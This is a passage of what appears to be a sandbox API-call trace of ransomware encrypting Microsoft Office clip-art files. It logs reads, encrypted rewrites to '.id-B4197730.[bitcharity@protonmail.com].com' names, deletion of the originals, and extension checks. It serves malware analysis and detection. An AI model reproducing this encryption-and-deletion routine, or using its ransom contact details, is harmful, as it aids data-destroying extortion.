liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0298.052] GetLastError () returned 0x0 [0298.052] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x2f0, lpOverlapped=0x0) returned 1 [0298.268] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x300, lpOverlapped=0x0) returned 1 [0298.269] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.269] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.269] SetEndOfFile (hFile=0x10dc) returned 1 [0298.269] CloseHandle (hObject=0x10dc) returned 1 [0298.269] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.269] SetEndOfFile (hFile=0x10bc) returned 1 [0298.270] CloseHandle (hObject=0x10bc) returned 1 [0298.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0298.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.270] lstrlenW (lpString=".doc") returned 4 [0298.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.270] lstrlenW (lpString=".docx") returned 5 [0298.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.270] lstrlenW (lpString=".pdf") returned 4 [0298.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.270] lstrlenW (lpString=".xls") returned 4 [0298.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.271] lstrlenW (lpString=".xlsx") returned 5 [0298.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.271] lstrlenW (lpString=".ppt") returned 4 [0298.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.271] lstrlenW (lpString=".zip") returned 4 [0298.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.271] lstrlenW (lpString=".rar") returned 4 [0298.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.271] lstrlenW (lpString=".bz2") returned 4 [0298.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.271] lstrlenW (lpString=".7z") returned 3 [0298.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.271] lstrlenW (lpString=".dbf") returned 4 [0298.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.271] lstrlenW (lpString=".1cd") returned 4 [0298.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.271] lstrlenW (lpString=".jpg") returned 4 [0298.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.271] lstrlenW (lpString=".doc") returned 4 [0298.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.271] lstrlenW (lpString=".docx") returned 5 [0298.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.271] lstrlenW (lpString=".pdf") returned 4 [0298.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.271] lstrlenW (lpString=".xls") returned 4 [0298.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.271] lstrlenW (lpString=".xlsx") returned 5 [0298.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.271] lstrlenW (lpString=".ppt") returned 4 [0298.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.271] lstrlenW (lpString=".zip") returned 4 [0298.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.272] lstrlenW (lpString=".rar") returned 4 [0298.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.272] lstrlenW (lpString=".bz2") returned 4 [0298.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.272] lstrlenW (lpString=".7z") returned 3 [0298.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.272] lstrlenW (lpString=".dbf") returned 4 [0298.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.272] lstrlenW (lpString=".1cd") returned 4 [0298.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0298.272] lstrlenW (lpString=".jpg") returned 4 [0298.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.272] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.272] lstrlenW (lpString="FD00814_.WMF") returned 12 [0298.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.272] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=42704) returned 1 [0298.272] CloseHandle (hObject=0x10bc) returned 1 [0298.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220 [0298.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.273] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.273] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0298.273] GetLastError () returned 0x0 [0298.273] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xa6d0, lpOverlapped=0x0) returned 1 [0298.381] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xa6e0, lpOverlapped=0x0) returned 1 [0298.382] ReadFile (in: hFile=0x10bc, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.382] WriteFile (in: hFile=0x10dc, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.382] SetEndOfFile (hFile=0x10dc) returned 1 [0298.383] CloseHandle (hObject=0x10dc) returned 1 [0298.383] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.383] SetEndOfFile (hFile=0x10bc) returned 1 [0298.384] CloseHandle (hObject=0x10bc) returned 1 [0298.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0298.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.395] lstrlenW (lpString=".doc") returned 4 [0298.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.395] lstrlenW (lpString=".docx") returned 5 [0298.395] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.395] lstrlenW (lpString=".pdf") returned 4 [0298.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.395] lstrlenW (lpString=".xls") returned 4 [0298.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.395] lstrlenW (lpString=".xlsx") returned 5 [0298.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.395] lstrlenW (lpString=".ppt") returned 4 [0298.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.396] lstrlenW (lpString=".zip") returned 4 [0298.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.396] lstrlenW (lpString=".rar") returned 4 [0298.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.396] lstrlenW (lpString=".bz2") returned 4 [0298.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.396] lstrlenW (lpString=".7z") returned 3 [0298.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.396] lstrlenW (lpString=".dbf") returned 4 [0298.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.396] lstrlenW (lpString=".1cd") returned 4 [0298.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.396] lstrlenW (lpString=".jpg") returned 4 [0298.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.396] lstrlenW (lpString=".doc") returned 4 [0298.396] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.396] lstrlenW (lpString=".docx") returned 5 [0298.396] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.396] lstrlenW (lpString=".pdf") returned 4 [0298.396] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.396] lstrlenW (lpString=".xls") returned 4 [0298.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.396] lstrlenW (lpString=".xlsx") returned 5 [0298.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.396] lstrlenW (lpString=".ppt") returned 4 [0298.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.396] lstrlenW (lpString=".zip") returned 4 [0298.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.397] lstrlenW (lpString=".rar") returned 4 [0298.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.397] lstrlenW (lpString=".bz2") returned 4 [0298.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.397] lstrlenW (lpString=".7z") returned 3 [0298.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.397] lstrlenW (lpString=".dbf") returned 4 [0298.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.397] lstrlenW (lpString=".1cd") returned 4 [0298.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0298.397] lstrlenW (lpString=".jpg") returned 4 [0298.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.397] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.397] lstrlenW (lpString="FD01176_.WMF") returned 12 [0298.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.397] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=4984) returned 1 [0298.397] CloseHandle (hObject=0x10a0) returned 1 [0298.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220 [0298.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.398] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.398] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0298.398] GetLastError () returned 0x0 [0298.398] ReadFile (in: hFile=0x10a0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x1378, lpOverlapped=0x0) returned 1 [0298.427] WriteFile (in: hFile=0x109c, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x1380, lpOverlapped=0x0) returned 1 [0298.428] ReadFile (in: hFile=0x10a0, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.428] WriteFile (in: hFile=0x109c, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.428] SetEndOfFile (hFile=0x109c) returned 1 [0298.428] CloseHandle (hObject=0x109c) returned 1 [0298.428] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.428] SetEndOfFile (hFile=0x10a0) returned 1 [0298.429] CloseHandle (hObject=0x10a0) returned 1 [0298.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0298.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.429] lstrlenW (lpString=".doc") returned 4 [0298.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.429] lstrlenW (lpString=".docx") returned 5 [0298.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.429] lstrlenW (lpString=".pdf") returned 4 [0298.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.429] lstrlenW (lpString=".xls") returned 4 [0298.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.429] lstrlenW (lpString=".xlsx") returned 5 [0298.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.429] lstrlenW (lpString=".ppt") returned 4 [0298.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.429] lstrlenW (lpString=".zip") returned 4 [0298.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.430] lstrlenW (lpString=".rar") returned 4 [0298.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.430] lstrlenW (lpString=".bz2") returned 4 [0298.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.430] lstrlenW (lpString=".7z") returned 3 [0298.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.430] lstrlenW (lpString=".dbf") returned 4 [0298.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.430] lstrlenW (lpString=".1cd") returned 4 [0298.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.430] lstrlenW (lpString=".jpg") returned 4 [0298.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.430] lstrlenW (lpString=".doc") returned 4 [0298.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.430] lstrlenW (lpString=".docx") returned 5 [0298.430] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.430] lstrlenW (lpString=".pdf") returned 4 [0298.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.430] lstrlenW (lpString=".xls") returned 4 [0298.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.430] lstrlenW (lpString=".xlsx") returned 5 [0298.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.430] lstrlenW (lpString=".ppt") returned 4 [0298.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.430] lstrlenW (lpString=".zip") returned 4 [0298.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.430] lstrlenW (lpString=".rar") returned 4 [0298.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.430] lstrlenW (lpString=".bz2") returned 4 [0298.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.430] lstrlenW (lpString=".7z") returned 3 [0298.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.431] lstrlenW (lpString=".dbf") returned 4 [0298.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.431] lstrlenW (lpString=".1cd") returned 4 [0298.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0298.431] lstrlenW (lpString=".jpg") returned 4 [0298.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.431] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.431] lstrlenW (lpString="FD01196_.WMF") returned 12 [0298.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.431] GetFileSizeEx (in: hFile=0x10a0, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2332) returned 1 [0298.431] CloseHandle (hObject=0x10a0) returned 1 [0298.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220 [0298.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a0 [0298.432] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.432] SetFilePointerEx (in: hFile=0x10a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 